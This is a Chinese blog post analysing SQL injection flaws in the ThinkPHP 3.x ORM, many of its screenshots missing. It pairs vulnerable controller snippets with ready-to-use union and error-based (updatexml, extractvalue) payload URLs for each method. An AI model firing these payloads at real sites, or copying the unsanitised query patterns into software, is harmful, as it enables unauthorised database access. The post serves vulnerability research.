最全thinkphp 3.x sql注入分析
1.1where注入
入口:
public function index($id=1){
$name = D('User')->where('id='.$id)->find();
print_r($name);
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 where SQL注入</h2><p></p>');
}
老样子,直接跳过D方法
进入find方法:
可以发现option中没有我们要的内容,我们进行调试看看内容是从那里得到的
进入_parseOpetions函数
可以看到,这里将两个数组进行了拼接
再次来到select函数,但是where相比之前find方法的sql,where变成了数组,而非字符串,因此后面调用中应该会在不同的条件
来到buildSelectSql函数
进入parseSql,在这里我们就直接分析parseWhere函数了,因为options我们没法像find函数sql注入一样,通过控制options来执行其他的函数
进入parseWhere函数
进入parseThinkWhere函数:
再看返回值:
可以发现在两边使用了()合并
因此最终形成的sql语句为:
payload:
http://localhost/?id=-1)%20union%20(select%201,2,user()
当然当没有回显时,可以使用报错注入:
payload:
http://localhost/?id=1)%20and%201=(updatexml(1,concat(0x7e,user(),0x73),1)
1.2 exp注入
public function index(){
$User = D('User');
$user = $User->where($_GET['id'])->find();
var_dump($user);
}
where注入和exp注入的区别在于,exp中的where函数内容必须完全可控,因为需要传入二维数组
进入where函数
where函数执行后,进入find函数
在这里只关心:
进入_parseOptions函数:
作用就是拼接数组并返回给$options
可以明显看到区别,find注入$options为字符串,而where注入$options为一维数组,在这里exp注入$options为二维数组
可以想象,后面执行的流程一定会有区别
_parseOptions函数执行完后,进入select函数:
依旧是这个地方生成sql语句,重点关注,进入buildSelectSql
进入parseSql:
又回到拼接的位置了
和where注入一样,只能控制$options[where],因此直接看parseWhere函数:
重点关注这个地方,因为只有在这里才汇编$whereStr和$options的内容,这里可以自己观察
进入parseWhereItem函数
没有任何作用,跳过,进入parseWhereItem函数
在这里将$exp赋值为exp,为后面语句执行创造了条件
最终在这里进行了拼接:
最后返回的内容也没有发生变化
paylaod:
http://127.0.0.1/index.php?id[Id][0]=exp&id[Id][1]==-1%20union%20select%201,2,database()
值得注意的是当客户端使用的I函数来进行获取参数是就无法sql注入了
下面分析原因:
直接来到I方法
public function index(){
$User = D('User');
$user = $User->where(I('get.id'))->find();
var_dump($user);
}
下面分析原因:
直接来到I方法
关键在于倒数第二句
最后导致parseWhereItem中条件匹配不了
最后触发报错
1.3 bind注入
public function index()
{
$User = M("User");
$user['Id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
进入where方法:
进入save方法:
重点在update方法:
在这里生成结果
进入update方法:
重点在于这个sql语句如何构造,因此直接看sql这个变量经过了那些处理
进入parseSet方法
构造完成的语句,:0相当于一个占位符,后面会被替换成另外一部分sql语句
明显是生成了sql语句的前半段
进入parswhere方法:
记住这里的$val后面还会用到
返回值与whereStr这个变量,我们直接分析whereStr这个变量的变化就行
直接看这里,其他都不满足条件没有运行
进入parseWhereItem方法:
直到这里已经形成了sql语句的后半段
parswhere的返回值
然后就组装成里一个完整的sql语句,后面就只需要替换 0: 就行
在return之前sql语句都没有变化,那说明在最后return的时候将sql语句进行了处理
进入execute方法:
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
在这里用的是数组,下面给了一个例子
最终效果:
就是将:0转换成""
paylaod:
http://127.0.0.1/index.php?id[0]=bind&id[1]=0%20and%20updatexml(1%2cconcat(0x7%2cuser()%2c0x7e)%2c1)
1.4 select/delet注入
select/delet和find注入原理是一样的:
只是delet需要使用报错注入
public function index($id=1){
//$name = D('User')->find($id);
// $name = D('User')->select($id);
$name = D('User')->delete($id);
print_r($name);
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 find SQL注入</h2><p></p>');
}
1.5 find注入
第一步:
先分析用where数组实现sql注入的执行流程:(当然漏洞步骤where数组这一处)
public function index($id=1){
$name = D('User')->find($id);
print_r($name);
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 where SQL注入</h2><p></p>');
}
这里打印出了数据库名
第二步:
找到漏洞触犯点,缩小位置:
进入函数:
进入了D函数,但我们找到,D函数是实例化一个对象,因此本身和sql注入没太大关系,直接跳过
跳过D函数后,来到了find函数:
find函数可以传入数组,这十分关键,继续再find函数中找漏洞点
可以看到有一个resultst的变量,很可能是sql执行的结果,且还会处理options这个数组,可能性很大
可以看到buildselectsql函数也回处理options数组,而且顾名思义应该是构建sql语句的地方,我们都知道sql注入也就是改变sql的语法结果,因此这应该是十拿九稳了
可以看到这个已经生成了一个名为sql的变量,跟进这个方法
可以发现这个str_replace函数的参数可以为数组
这里我们再看看这个$sql的初始值,这里就tp的sql执行流程其实就一目了然了,就是将每一个sql语法位置进行替换成完整的sql语法
分析函数:
1.parseTable函数分析:
我们知道php可以用数组传参数,当然也可以使用二维数组,实验如下:
因此这里我们parseTable的返回值我们就可以控制了:
在这里我们并没有使用where也能进行sql注入,说明parseTable函数也存在漏洞
payload:
http://localhost/?id[table][user%20where%201%3d2%20union%20select%201%2cdatabase()]=,3
2.parseDistinct
接着我们分析parseDistinct函数:
可以看到已经被三元表达式写死了,因此parseDistinct不存在漏洞
3.parseField
依旧可控
payload:
http://localhost/?id[field][database()]=#
看到这个payload就感觉更离谱了这都行。。。。。
至于这个语法结构怎么爆数据,本地测试就明白了
4.parseJoin:
老样子,依旧可控
payload:
http://localhost/?id[join][naihe]=where%201=2%20union%20select%201,database(),2
5.parseWhere:
过滤都无效:
当使用数组传参时会直接将数据进行拼接
http://localhost/?id[where]=id%3d-1%20union%20select%20database()
6.parseGroup
payload:
http://127.0.0.1/index.php?id[group]=id%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
7.arseHaving
payload:
http://127.0.0.1/index.php?id[having]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
8.parseOrder
返回值可控
payload:
http://127.0.0.1/index.php?id[order]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
9.parseLimit
看似可控,但是由于在find函数中已经写死了limit的数值因此不可控
10.parseUnion
可使用二维数组:
payload:
http://127.0.0.1/index.php?id[union][0]=select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1)%23
11.parseLock
无法利用
12.parseComment
看似无法利用,其实limit后面还可以跟其他语句
利用procedure analyse来进行注入,只能使用extractvalue 和 benchmark。可以进行报错注入
payload:
localhost/?id[comment]=*/ procedure analyse(extractvalue(rand(),concat(0x3a,user())),1) /*
13.parseForce
写死了,无法利用
总结:
1.6 order by注入
public function index(){
$data = D('user')->order(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action[updatexml(1,concat(0x3a,user()),1)]
前面分析和find注入一样
1.7 alias,join,union,order,group,having,comment方法注入
1.group
public function index(){
$data = D('user')->group(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
先看__call方法
将$this->options[group]赋值为(1=updatexml(1,concat(0x7e,user(),0x7e),1))
直接进入select方法:
重点:
进入_parseOptions
后面紧接着的就是select方法
在这里可以看到$options已经变成了数组,且内容为group="(1=updatexml(1,concat(0x7e,user(),0x7e),1))"
后面的分析就和之前的find九类注入分析一样了,因为后面的流程一样,可以参照find的group注入
2.order
public function index(){
$data = D('user')->order(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
3.having
public function index(){
$data = D('user')->having(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
4.union
public function index(){
$data = D('user')->union(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action=(select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1))
5.join
public function index(){
$data = D('user')->join(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action=(select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1))a
6.alias
public function index(){
$data = D('user')->alias(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action=where%201=updatexml(1,concat(0x7e,user(),0x7e),1)
7.comment
public function index(){
$data = D('user')->comment(I('action'))->select();
var_dump($data);
}
payload:
http://127.0.0.1/index.php?action=*/%20procedure%20analyse(extractvalue(rand(),concat(0x3a,user())),1)%20/*
8.聚合方法
public function index(){
$data = M('user')->count(I('count'));
dump($data);
payload:
http://127.0.0.1/?count=id,user()
处count以外max、min、avg、sum原理基本一样
9.setInc
public function index(){
$User =D(user);
$User->where('Id=1')->setInc('password',I('add'));
}
payload
http://127.0.0.1/?add=123%20-%20updatexml(1,concat(0x7e,user()),1)
后面的分析和exp注入差不多
往期推荐